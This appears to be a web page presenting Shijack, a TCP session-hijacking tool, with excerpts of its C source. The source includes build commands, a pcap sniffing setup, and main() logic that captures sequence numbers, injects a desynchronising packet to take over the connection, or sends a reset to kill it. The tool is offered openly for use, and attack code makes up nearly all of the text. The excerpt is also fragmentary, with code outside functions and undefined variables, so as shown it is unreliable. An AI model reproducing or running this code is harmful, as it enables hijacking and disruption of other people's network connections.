Shijack is a TCP connection-hijacking tool for Linux, FreeBSD, and Solaris. The tool requires Libnet.
Tool:
/*
* Full TCP connection hijacker (local, and on subnets), Uses libnet/libpcap
* for better OS portability.
*
* Written by spwny, Inspiration by cyclozine.
*
* If you dont feel like installing libnet, just use the precompiled static binaries included.
* gcc -o shijack shijack.c -lpcap `libnet-config --libs --defines --cflags`
*
* MD5 (shijack-sunsparc) = 5bf1c084811ab07f851c94c212024f07 (Sun Sparc 2.7)
* MD5 (shijack-fbsd) = de60e9805ee99b22c23946606078e832 (FreeBSD 4.2)
* MD5 (shijack-lnx) = 87418448d47d68eb819436f38aae4df2 (Slackware 7.0)
*
*
* Changes:
* - Added a function to get the SEQ/ACK, instead of using a program.
* - Started using libpcap and libnet for better portability, instead of just raw sockets.
* - Added -r, Reset the connection rather than hijacking it.
*
* If you need any help, or wish to discuss anything about this program,
* You can contact me on EFnet or by email, yberm@home.com.
* - spwny.
*/
pt = pcap_open_live(interface, 65535, 1, 60, ebuf);
if (!pt)
{
printf("pcap_open_live: %s\n", ebuf);
exit(-1);
}
switch (pcap_datalink(pt)) {
case DLT_EN10MB:
case DLT_EN3MB:
ethrhdr = 14;
break;
case DLT_FDDI:
ethrhdr = 21;
break;
case DLT_SLIP:
ethrhdr = 16;
break;
case DLT_NULL:
case DLT_PPP:
ethrhdr = 4;
break;
case DLT_RAW:
ethrhdr = 0;
default:
printf("pcap_datalink: Can't figure out how big the ethernet header is.\n");
exit(-1);
}
printf("Waiting for SEQ/ACK to arrive from the srcip to the dstip.\n");
printf("(To speed things up, try making some traffic between the two, /msg person asdf\n\n");
int
main(int argc, char *argv[])
{
char *ifa = argv[1];
char buf[4096];
int reset = 0;
signal(SIGTERM, sighandle);
signal(SIGINT, sighandle);
if (argc < 6) {
printf("Usage: %s <interface> <src ip> <src port> <dst ip> <dst port> [-r]\n", argv[0]);
printf("<interface>\t\tThe interface you are going to hijack on.\n");
printf("<src ip>\t\tThe source ip of the connection.\n");
printf("<src port>\t\tThe source port of the connection.\n");
printf("<dst ip>\t\tThe destination IP of the connection.\n");
printf("<dst port>\t\tThe destination port of the connection.\n");
printf("[-r]\t\t\tReset the connection rather than hijacking it.\n");
printf("\nCoded by spwny, Inspiration by cyclozine (http://www.geocities.com/stasikous).\n");
exit(-1);
}
if (argv[6] && !strcmp(argv[6], "-r") )
reset = 1;
if (!srcip) {
printf("%s is not a valid ip.\n", argv[2]);
exit(-1);
}
if (!dstip) {
printf("%s is not a valid ip.\n", argv[4]);
exit(-1);
}
if ((sport > 65535) || (dport > 65535) || (sport < 1) || (dport < 1)) {
printf("The valid TCP port range is 1-1024.\n");
exit(-1);
}
getseqack(ifa, srcip, dstip, sport, dport, &sa);
if (reset) {
sendtcp(srcip, dstip, sport, dport, TH_RST, sa.seq, 0, NULL, 0);
printf("\nConnection has been reset.\n");
return 0;
}
/*
* Sending 1024 of zero bytes so the real owner of the TCP connection
* wont be able to get us out of sync with the SEQ.
*/
memset(&buf, 0, sizeof(buf));
sendtcp(srcip, dstip, sport, dport, TH_ACK | TH_PUSH, sa.seq, sa.ack, buf, 1024);
sa.seq += 1024;
printf("Starting hijack session, Please use ^C to terminate.\n");
printf("Anything you enter from now on is sent to the hijacked TCP connection.\n");
